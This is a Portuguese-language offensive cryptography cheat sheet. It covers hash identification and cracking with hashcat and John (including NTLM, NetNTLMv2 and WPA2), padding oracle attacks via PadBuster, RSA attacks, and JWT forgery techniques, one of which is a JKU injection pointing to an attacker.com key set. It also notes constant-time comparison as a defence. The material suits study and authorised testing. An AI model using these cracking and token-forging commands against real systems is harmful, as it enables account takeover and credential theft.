Kaique Mitsuo Silva Yamamoto
Seguranca informacao

Cryptography para Hackers

Hashing, criptografia simétrica e assimétrica, attacks práticos em implementações fracas, JWT cracking, known plaintext, padding oracle.

Cryptography mal implementada é vulnerabilidade. Esta página foca em como quebrar crypto na prática — não em matemática pura.


Hashing

Identificação de hashes

TamanhoExemploTipo
32 chars5f4dcc3b5aa765d61d8327deb882cf99MD5
40 chars5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8SHA-1
64 chars5e884898da28047151d0e56f8dc...SHA-256
128 charsd033e22ae348aeb5660fc2140aec35850c4da997...SHA-512
60 chars$2b$12$LJ3m4ys3JmG8MhL...bcrypt
Variable$argon2id$v=19$m=65536,t=3,p=4$...Argon2
Variable$6$rounds=5000$salt$hashSHA-512 crypt

Cracking com hashcat

# Identificar hash mode
hashid hash.txt
hashid -m hash.txt  # Com hashcat mode

# MD5
hashcat -m 0 hash.txt /wordlists/rockyou.txt

# SHA-1
hashcat -m 100 hash.txt /wordlists/rockyou.txt

# SHA-256
hashcat -m 1400 hash.txt /wordlists/rockyou.txt

# SHA-512
hashcat -m 1700 hash.txt /wordlists/rockyou.txt

# bcrypt
hashcat -m 3200 hash.txt /wordlists/rockyou.txt

# NTLM
hashcat -m 1000 hash.txt /wordlists/rockyou.txt

# NetNTLMv2 (responder captures)
hashcat -m 5600 hash.txt /wordlists/rockyou.txt

# MySQL
hashcat -m 300 hash.txt /wordlists/rockyou.txt

# PostgreSQL
hashcat -m 12 hash.txt /wordlists/rockyou.txt

# Django
hashcat -m 10000 hash.txt /wordlists/rockyou.txt

# WPA/WPA2
hashcat -m 22000 capture.hc22000 /wordlists/rockyou.txt

# Rule-based attacks
hashcat -m 0 hash.txt /wordlists/rockyou.txt -r /rules/best64.rule

# Mask attacks (brute-force)
hashcat -m 0 hash.txt -a 3 ?d?d?d?d?d?d  # 6 dígitos
hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l  # 8 letras minúsculas
hashcat -m 0 hash.txt -a 3 ?u?l?l?l?l?d?d?d  # Upper + 5 lower + 3 digits

# Combinar wordlists
hashcat -m 0 hash.txt -a 1 wordlist1.txt wordlist2.txt

Cracking com John

john --wordlist=/wordlists/rockyou.txt hash.txt
john --show hash.txt

# Formato específico
john --format=raw-sha256 hash.txt
john --format=bcrypt hash.txt
john --format=nt hash.txt

# Rules
john --wordlist=/wordlists/rockyou.txt --rules hash.txt
john --wordlist=/wordlists/rockyou.txt --rules=best64 hash.txt

Criptografia Simétrica

Identificação

# AES (block cipher, 128/192/256 bits)
# Ciphertext geralmente em base64, tamanho múltiplo de 16 bytes
# CBC mode: IV + ciphertext
# GCM mode: IV + ciphertext + tag

# DES/3DES (legacy, 56/168 bits)
# Ciphertext múltiplo de 8 bytes
# DES é crackável com força bruta (~24h com hardware moderno)

Padding Oracle (AES CBC)

Se a aplicação retorna diferentes erros para padding inválido vs dados inválidos,
é possível decifrar o ciphertext bloco por bloco.

1. Ciphertext: C0 || C1 || C2
2. Para decifrar C1:
   a. Enviar: C0' || C1
   b. Modificar último byte de C0' até padding ser válido
   c. Último byte do plaintext = C0'[last] XOR 0x01 XOR C0[last]
   d. Repetir para cada byte

# Ferramenta: PadBuster
padbuster https://target.com/api/data "ENCRYPTED_COOKIE" 16 -cookies "token=ENCRYPTED_COOKIE"

Criptografia Assimétrica (RSA)

Attacks em RSA

1. Chave pequena (n < 2^512)
   → fatorar n com msieve/yafu
   → extrair p, q, calcular d

2. Múltiplas chaves com mesmo módulo (n)
   → gcd(n1, n2) = p
   → fatorar ambas

3. Chave pública compartilhada (e pequeno, ex: e=3)
   → broadcast attack (Håstad)
   → se mesmo plaintext criptografado com e=3 e 3 chaves diferentes

4. Wiener's attack (d pequeno)
   → se d < n^0.25, ataque via frações contínuas

5. Known plaintext
   → se conhece parte do plaintext, parcialmente quebrar

# RsaCtfTool (automatizado)
python RsaCtfTool.py --publickey pubkey.pem --uncipherfile ciphertext.bin

# Para fatorar n pequeno
yafu "factor(12345678901234567890)"
msieve -v 12345678901234567890

JWT Cracking

# Decodificar (base64)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d

# Cracking de HS256 secret
hashcat -m 16500 jwt.txt /wordlists/rockyou.txt
john jwt.txt --wordlist=/wordlists/rockyou.txt --format=HMAC-SHA256

# JWT_Tool
jwt_tool TOKEN -C -d /wordlists/rockyou.txt

# None algorithm
jwt_tool TOKEN -X a
# Gera token com alg: "none", sem assinatura

# Key confusion (RS256 → HS256)
# Se servidor usa RS256, trocar para HS256 e assinar com chave pública
jwt_tool TOKEN -X k -pk pubkey.pem

# JKU injection
# Alterar jku header para apontar para chave do attacker
jwt_tool TOKEN -X s -jwks https://attacker.com/jwks.json

Timing Attacks

# Comparação de strings com == é vulnerável a timing attack
# Em vez de comparar byte a byte com early return,
# comparar todos os bytes (constant-time comparison)

# Vulnerável:
if (user_token == server_token) { ... }

# Seguro:
import hmac
if (hmac.compare_digest(user_token, server_token)) { ... }

# Na prática:
# Enviar milhares de requests e medir tempo de resposta
# O primeiro byte correto leva ligeiramente mais tempo
# Repetir para cada byte

Known Attacks em Implementações

ImplementaçãoVulnerabilidadeImpacto
MD5Collision attacksCertificados falsos, signatures
SHA-1SHAttered attackCollision em PDF, Git
DESBrute-force ~24hDecifrar dados
RC4Bias nos primeiros bytesWEP crack
ECB modePattern leakageImagem reconhecível
CBC sem MACPadding oracleDecifrar ciphertext
RSA e=3Broadcast attackDecifrar com 3 chaves
RSA d pequenoWiener's attackExtrair chave privada
JWT HS256Weak secretForjar tokens
bcrypt cost < 10Cracking rápidoSenhas crackadas
Custom cryptoSempre quebrável

Referências

On this page